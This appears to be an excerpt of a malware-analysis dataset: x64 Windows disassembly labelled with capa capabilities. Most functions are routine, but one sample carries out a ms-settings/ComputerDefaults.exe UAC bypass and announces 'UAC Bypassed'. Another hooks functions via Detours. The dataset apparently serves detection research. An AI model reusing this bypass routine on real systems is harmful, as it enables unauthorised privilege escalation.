joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007f76c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14006db08
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14006db08
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14007f8bc
cmp rax, 0xffffffffffffffff
je 0x14007f8bc
xor edi, edi
test rbp, rbp
jle 0x14007f867
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400742dc
mov rbx, rax
test rax, rax
jne 0x14007f7f4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14007f85d
mov edx, 0x8000
mov ecx, r14d
call fcn.14006f0ec
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140072614
cmp eax, 0xffffffff
je 0x14007f83d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14007f804
mov edx, r15d
mov ecx, r14d
call fcn.14006f0ec
jmp 0x14007f85d
cmp byte [rsi + 0x38], dil
je 0x14007f854
cmp dword [rsi + 0x34], 5
jne 0x14007f854
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x14007f85d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140073fe0
jmp 0x14007f8d0
jns 0x14007f8d0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14006db08
cmp rax, 0xffffffffffffffff
jne 0x14007f888
cmp byte [rsi + 0x30], dil
je 0x14007f8d0
mov edi, dword [rsi + 0x2c]
jmp 0x14007f8d0
mov ecx, r14d
call fcn.14007a4f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14007f8d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x14007f8d0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14007f8c9
mov eax, dword [rsi + 0x2c]
jmp 0x14007f8ce
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14006db08
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140081ec0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1400a9180]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x140081f0a
call fcn.140061c78
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.140061c98
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.14005efd4
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140058f20
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x140081f15
lea eax, [rbx + 1]
jmp 0x140081ef7
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x140081ef5
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x140081ef7
Function at 0x140082020
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140062008
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400820aa
cmp byte [rbp - 0x21], r15b
je 0x1400820a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400820e0
call fcn.140074674
test eax, eax
jne 0x1400820cc
cmp byte [rbp - 0x21], r15b
je 0x1400820c4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400820e0
cmp byte [rbp - 0x21], r15b
je 0x1400820dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140066f9c
test eax, eax
jne 0x140082180
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140062008
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14008211f
cmp byte [rbp - 0x21], r15b
je 0x140082154
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140082154
call fcn.140074674
test eax, eax
jne 0x140082140
cmp byte [rbp - 0x21], r15b
je 0x140082139
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140082154
cmp byte [rbp - 0x21], r15b
je 0x140082151
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140066f9c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140082180
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140082183
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140082191
mov rcx, rdi
call fcn.140073fe0
cmp byte [rbp + 0x3f], r15b
je 0x1400821a0
mov rcx, qword [rbp + 0x27]
call fcn.140073fe0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400836f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140083718
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140083718
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400014d2
Capabilities:
Get session integrity level
Get token membership

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 0x10], 0
mov dword [rbp - 4], 0
mov dword [rbp - 0x14], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 0x10]
mov r8, rdx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
sete al
test al, al
je 0x14000152f
mov eax, 0
jmp 0x140001633
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x10]
lea rdx, [rbp - 0x14]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8, rcx
mov edx, 0x12
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
test eax, eax
setne al
test al, al
je 0x140001620
mov dword [rbp - 0x14], 0x44
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x70]
mov r9, rdx
mov r8, rax
mov edx, 0
mov ecx, 0x1a
mov rax, qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
call rax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax]
cmp eax, 3
jne 0x14000160a
mov qword [rbp - 0x20], 0
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x14]
mov qword [rsp + 0x20], rdx
mov r9d, 8
mov r8, rcx
mov edx, 0x13
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp + 0x18]
lea rdx, [rbp - 0x70]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
test eax, eax
setne al
test al, al
je 0x1400015f8
mov dword [rbp - 4], 1
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001620
mov rax, qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call rax
mov rdx, qword [rbp + 0x18]
mov dword [rdx], eax
mov dword [rbp - 4], 1
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 4]
add rsp, 0xa0
pop rbp
ret

Function at 0x1400016c8
Capabilities:
Delete registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf003f
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x140001719
mov rax, qword [rbp - 8]
test rax, rax
je 0x140001719
mov eax, 1
jmp 0x14000171e
mov eax, 0
test al, al
je 0x140001746
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x14000174d
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf003f
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x1400017a2
mov rax, qword [rbp - 8]
test rax, rax
je 0x1400017a2
mov eax, 1
jmp 0x1400017a7
mov eax, 0
test al, al
je 0x1400017fa
mov rax, qword [rbp + 0x28]
mov rcx, rax
call fcn.140001450
add eax, 1
lea ecx, [rax + rax]
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x20]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140001801
Capabilities:
Create process on windows
Self delete

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call fcn.14000148a
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea r8, str.ms_settings
lea rax, str.SoftwareClasses_
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.14000163c
lea r8, str.shell
lea rax, str.SoftwareClassesms_settings_
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.14000163c
lea r8, str.open
lea rax, str.SoftwareClassesms_settings_shell_
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.14000163c
lea r8, str.command
lea rax, str.SoftwareClassesms_settings_shellopen_
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.14000163c
lea rax, [rbp + 0x60]
mov r9, rax
lea r8, [0x1400040a1]
lea rax, str.SoftwareClassesms_settings_shellopencommand
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.14000174d
lea r9, [0x1400040a1]
lea r8, str.DelegateExecute
lea rax, str.SoftwareClassesms_settings_shellopencommand
mov rdx, rax
mov rcx, 0xffffffff80000001
call fcn.14000174d
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.cmd__c_ComputerDefaults.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
nop
add rsp, 0x1f0
pop rbp
ret
Function at 0x1400019a1
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call fcn.140001af0
mov dword [rbp - 8], 0
lea rdx, [rbp - 8]
lea rax, [rbp - 4]
mov rcx, rax
call fcn.1400014d2
test eax, eax
setne al
test al, al
je 0x140001a33
mov eax, dword [rbp - 4]
cmp eax, 3
je 0x1400019e7
cmp eax, 3
jg 0x140001a32
cmp eax, 1
je 0x1400019e7
cmp eax, 2
je 0x1400019ee
jmp 0x140001a32
call fcn.140001801
jmp 0x140001a33
call fcn.140001975
mov r9d, 0
lea r8, str.Oops
lea rax, str.UAC_Bypassed
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov edx, 1
lea rax, str.cmd__k_echo_You_have_HIGH_privilege_
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
jmp 0x140001a33
nop
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001d00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002b20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002b20
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
mov rbx, rcx
test esi, esi
jle 0x140001ea0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001dbb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001da0
mov rcx, rbx
call fcn.1400027c0
mov rdi, rax
test rax, rax
je 0x140001ec2
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002900
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ea7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001e3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e50
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001d00
nop dword [rax]
xor esi, esi
jmp 0x140001dc8
mov rax, qword [0x140007098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001d00
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001d00
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002430
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000248c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002483
test rsi, rsi
je 0x140002483
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002468
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400027c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400044d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400027e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400027e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000283d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002834
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400027e0
add rax, 0x28
cmp rax, r9
jne 0x140002820
xor eax, eax
ret

Function at 0x140002840
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400044d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000285f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002868
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000285f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002900
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400044d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000291f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002928
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x180012a60
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x18008d080]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
lea rcx, str.Config.cfg
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180012ae4
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, 0x10c0
lea rdx, [0x18008d110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
test eax, eax
jne 0x180012af9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800596b0
add rsp, 0x50
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800596b0
add rsp, 0x50
pop rbx
ret

Function at 0x180012b20
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x18008d080]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
lea rcx, str.Config.cfg
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180012bb3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x10c0
jne 0x180012bc8
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, eax
lea rdx, [0x18008d110]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180012bc8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800596b0
add rsp, 0x50
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800596b0
add rsp, 0x50
pop rbx
ret

Function at 0x180013060
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
je 0x180013070
xor eax, eax
add rsp, 0x38
ret
mov eax, 0x345a
cmp word [rcx], ax
jne 0x180013099
xor eax, eax
lea r8, [0x180012fe0]
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x180017710
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
add rdx, 0xffffffffffff0000
mov rdi, rcx
movzx eax, dx
mov rbx, rdx
sub rbx, rax
test rax, rax
cmove rbx, rdx
cmp rbx, rcx
jbe 0x1800177eb
nop dword [rax]
cmp rbx, qword [section..data]
jb 0x18001775e
cmp rbx, qword [0x18008d008]
ja 0x18001775e
sub rbx, 0x8000000
jmp 0x1800177e2
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800177eb
cmp dword [rsp + 0x40], 0x10000
jne 0x1800177c6
cmp qword [rsp + 0x38], 0x10000
jb 0x1800177c6
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1800177ed
sub rbx, 0x10000
jmp 0x1800177e2
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffffffff0000
movzx eax, cx
mov rbx, rcx
sub rbx, rax
test rax, rax
cmove rbx, rcx
cmp rbx, rdi
ja 0x180017740
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x180017800
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
movzx eax, cx
mov rdi, rdx
mov rbx, rcx
test rax, rax
je 0x180017822
sub rbx, rax
add rbx, 0x10000
cmp rbx, rdi
jae 0x1800178dd
nop dword [rax + rax]
cmp rbx, qword [section..data]
jb 0x18001784e
cmp rbx, qword [0x18008d008]
ja 0x18001784e
add rbx, 0x8000000
jmp 0x1800178d4
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800178dd
cmp dword [rsp + 0x40], 0x10000
mov rcx, qword [rsp + 0x38]
jne 0x1800178b9
cmp rcx, 0x10000
jb 0x1800178b9
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1800178df
add rbx, 0x10000
jmp 0x1800178d4
mov rbx, qword [rsp + 0x20]
add rbx, rcx
movzx ecx, bx
test rcx, rcx
je 0x1800178d4
mov eax, 0x10000
sub rax, rcx
add rbx, rax
cmp rbx, rdi
jb 0x180017830
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1800178f0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
lea rdi, [rcx - 0x7ff80000]
mov rbx, rcx
cmp rcx, 0x7ff80000
ja 0x180017912
mov edi, 0x80000
mov qword [rsp + 0x38], rsi
lea rsi, [rcx + 0x7ff80000]
cmp rbx, 0xffffffff80000000
jb 0x18001792e
mov rsi, 0xfffffffffff80000
movzx eax, byte [rcx]
cmp al, 0xff
jne 0x180017945
cmp byte [rcx + 1], 0x25
jne 0x180017989
movsxd rcx, dword [rcx + 2]
add rcx, 6
jmp 0x180017951
cmp al, 0xe9
jne 0x180017989
movsxd rcx, dword [rcx + 1]
add rcx, 5
add rcx, rbx
cmp rcx, rbx
jae 0x180017974
cmp rcx, 0xffffffff80000000
jae 0x18001796b
lea rsi, [rcx + 0x7ff80000]
jmp 0x180017989
mov rsi, 0xfffffffffff80000
jmp 0x180017989
lea rdi, [rcx - 0x7ff80000]
cmp rcx, 0x7ff80000
ja 0x180017989
mov edi, 0x80000
mov rdx, qword [0x18008e4c8]
mov rax, qword [0x18008e4c0]
mov qword [rsp + 0x30], rbp
test rdx, rdx
jne 0x1800179b0
test rax, rax
je 0x1800179c7
mov rdx, rax
mov qword [0x18008e4c8], rax
mov rcx, qword [rdx + 0x10]
test rcx, rcx
je 0x1800179c7
cmp rcx, rdi
jb 0x1800179c7
cmp rcx, rsi
jbe 0x180017b1a
mov qword [0x18008e4c8], rax
mov rdx, rax
test rax, rax
je 0x180017a12
mov rcx, rax
nop dword [rax]
test rax, rax
je 0x1800179fc
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1800179fc
cmp rax, rdi
jb 0x1800179fc
cmp rax, rsi
jbe 0x180017b1a
mov rdx, qword [rdx + 8]
mov qword [0x18008e4c8], rdx
mov rcx, rdx
mov rax, rdx
test rdx, rdx
jne 0x1800179e0
movzx eax, bx
sub rbx, rax
cmp rbx, 0x40000000
jbe 0x180017a3c
lea rdx, [rbx - 0x40000000]
mov rcx, rdi
call fcn.180017710
mov rdx, rax
test rax, rax
jne 0x180017ac8
movabs rbp, 0xffffffff40000000
cmp rbx, rbp
jae 0x180017a62
lea rcx, [rbx + 0x40000000]
mov rdx, rsi
call fcn.180017800
mov rdx, rax
test rax, rax
jne 0x180017ac8
cmp rbx, 0x40000000
jbe 0x180017a82
lea rcx, [rbx - 0x40000000]
mov rdx, rbx
call fcn.180017800
mov rdx, rax
test rax, rax
jne 0x180017ac8
cmp rbx, rbp
jae 0x180017a9e
lea rdx, [rbx + 0x40000000]
mov rcx, rbx
call fcn.180017710
mov rdx, rax
test rax, rax
jne 0x180017ac8
mov rdx, rbx
mov rcx, rdi
call fcn.180017710
mov rdx, rax
test rax, rax
jne 0x180017ac8
mov rdx, rsi
mov rcx, rbx
call fcn.180017800
mov rdx, rax
test rax, rax
je 0x180017b51
mov dword [rdx], 0x52727464
lea rcx, [rdx + 0xffa8]
xor r8d, r8d
mov qword [0x18008e4c8], rdx
mov qword [rdx + 0x10], r8
